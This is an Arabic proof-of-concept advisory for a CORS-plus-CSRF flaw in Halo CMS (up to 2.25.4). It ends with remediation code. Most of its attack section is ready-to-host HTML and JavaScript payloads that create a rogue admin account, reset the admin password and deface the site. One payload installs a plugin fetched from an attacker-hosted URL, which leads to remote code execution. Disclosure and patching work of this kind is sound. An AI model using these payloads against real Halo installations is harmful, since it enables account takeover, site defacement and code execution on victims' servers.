
إثبات مفهوم يوضح ثغرة مشتركة بين سوء تكوين CORS وتجاوز حماية CSRF في نظام Halo CMS، مما يتيح تنفيذ هجمات تزوير الطلبات عبر المواقع (CSRF) لإنشاء مستخدمين بصلاحيات إدارية، وتغيير كلمات المرور، وتثبيت الإضافات، وتعديل المحتوى.
توجد ثغرة هجوم مشترك حرجة في إصدارات Halo CMS حتى 2.25.4 بسبب سوء تكوينين أمنيين:
* (أي أصل) مع credentials: true/api/**, /apis/**) مستثناة من حماية CSRFعند دمجهما، تسمح هذه الثغرات للمهاجم بتنفيذ هجمات تزوير الطلبات عبر المواقع (CSRF) من أي أصل، متجاوزًا حماية سياسة نفس الأصل (Same-Origin Policy) التي صُمم CORS لفرضها.
درجة CVSS v3.1: 9.3 (حرجة)
متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (تزوير الطلبات عبر المواقع) + CWE-942 (سياسة عبر النطاقات متساهلة)
معرف CVE: CVE-2026-67921
الملف: application/src/main/java/run/halo/app/security/CorsConfigurer.java
CorsConfigurationSource apiCorsConfigSource() {
var configuration = new CorsConfiguration();
configuration.setAllowedOriginPatterns(List.of("*")); // ← أي أصل
configuration.setAllowCredentials(true); // ← السماح بملفات تعريف الارتباط
configuration.setAllowedHeaders(List.of(
HttpHeaders.AUTHORIZATION,
HttpHeaders.CONTENT_TYPE,
HttpHeaders.ACCEPT,
"X-XSRF-TOKEN",
HttpHeaders.COOKIE));
configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
source.registerCorsConfiguration("/api/**", configuration);
source.registerCorsConfiguration("/apis/**", configuration);
return source;
}
التأثير: يمكن لأي موقع ويب إرسال طلبات مصادقة إلى واجهة برمجة تطبيقات Halo باستخدام ملفات تعريف الارتباط الخاصة بالمستخدم.
الملف: application/src/main/java/run/halo/app/security/CsrfConfigurer.java
@Override
public void configure(ServerHttpSecurity http) {
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(
pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
// ← مسارات API مستثناة من CSRF!
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
.requireCsrfProtectionMatcher(csrfMatcher));
}
التأثير: لا تتطلب طلبات API رموز CSRF، حتى عند المصادقة عبر ملفات تعريف ارتباط الجلسة.
| الحماية | بمفردها | عند الدمج |
|---|---|---|
CORS * | تمنع بيانات الاعتماد (يفرضها المتصفح) | بيانات الاعتماد مسموحة! |
| لا CSRF | محمية بسياسة نفس الأصل | يتم تجاوزها بواسطة CORS! |
| النتيجة | آمنة | CSRF كامل |
┌─────────────────────────────────────────────────────────────┐
│ المهاجم يستضيف صفحة خبيثة على evil.com │
│ <form action="http://halo:8090/apis/..." method="POST"> │
│ <input name="..." value="..."> │
│ </form> │
│ <script>document.forms[0].submit()</script> │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ متصفح الضحية يزور evil.com │
│ → يتم إرسال النموذج تلقائيًا إلى واجهة Halo API │
│ → المتصفح يضمّن ملف تعريف ارتباط الجلسة تلقائيًا │
│ → CORS: الأصل * + credentials: true → الطلب مسموح! │
│ → CSRF: /apis/** مستثنى → لا حاجة لرمز! │
│ → ينجح الطلب بصلاحيات الضحية │
└─────────────────────────────────────────────────────────────┘
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
<input type="hidden" name="apiVersion" value="v1alpha1"/>
<input type="hidden" name="kind" value="User"/>
<input type="hidden" name="metadata.name" value="hacker"/>
<input type="hidden" name="spec.password" value="hacker123"/>
<input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
<input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>
<html>
<body>
<script>
// تغيير عنوان الموقع
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>
أنشئ csrf-test.html:
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>This page will attempt to modify Halo settings when loaded.</p>
<script>
// Test CSRF by modifying site title
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.onload = function() {
if (xhr.status === 200 || xhr.status === 204) {
document.body.innerHTML += '<p style="color:green">SUCCESS! CSRF attack worked.</p>';
} else {
document.body.innerHTML += '<p style="color:red">Failed: ' + xhr.status + '</p>';
}
};
xhr.send(JSON.stringify({
"site": {
"title": "CSRF Attack Success - " + new Date().toISOString()
}
}));
</script>
</body>
</html>
csrf-test.html في متصفح أثناء تسجيل الدخول إلى HaloAccess-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
| الهجوم | التأثير | الخطورة |
|---|---|---|
| إنشاء مستخدم مسؤول | اختراق كامل للنظام | حرجة |
| تغيير كلمة مرور المسؤول | الاستيلاء على الحساب | حرجة |
| تثبيت إضافة خبيثة | تنفيذ التعليمات البرمجية عن بُعد | حرجة |
| تعديل المحتوى | تشويه | عالية |
| حذف البيانات | فقدان البيانات | عالية |
| سرقة البيانات | كشف المعلومات | عالية |
// استبدال حرف البدل بأصول محددة
configuration.setAllowedOriginPatterns(List.of(
"https://yourdomain.com",
"https://admin.yourdomain.com"
));
// إزالة استثناءات API من مطابق CSRF
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
بالنسبة لنقاط نهاية API، يُفضَّل استخدام مصادقة رمز الحامل بدلاً من ملفات تعريف ارتباط الجلسة، لأنها غير معرضة لهجمات CSRF.